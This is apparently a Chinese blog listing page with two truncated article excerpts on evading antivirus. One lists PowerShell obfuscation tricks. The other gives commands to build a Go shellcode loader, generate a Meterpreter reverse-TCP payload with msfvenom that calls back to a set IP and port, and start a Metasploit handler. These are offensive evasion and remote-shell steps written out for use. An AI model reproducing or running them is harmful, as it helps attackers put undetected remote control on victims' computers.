qq_44657899的博客

文章目录前言大小写管道符修改函数名命令拆分反引号处理低版本powershell使用Out-EncryptedScript加密免杀base64免杀组合拳前言UNIX 系统一直有着功能强大的壳程序（shell），Windows PowerShell 的诞生就是要提供功能相当于 UNIX 系统的命令行壳程序（例如：sh、bash 或 csh），同时也内置脚本语言以及辅助脚本程序的工具，使命令行用户和脚本编写者可以利用 .NET Framework 的强大功能。powershell 具有在硬盘中易绕过，内存中

文章目录分离免杀分离免杀下载编译加载器#下载https://github.com/brimstone/go-shellcode#进入sc目录，编译，生成一个main.exego build main.go生成shellcodemsfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.170.129 lport=4444 -f hex -o msf.hexmsf开启监听use exploit/multi/handler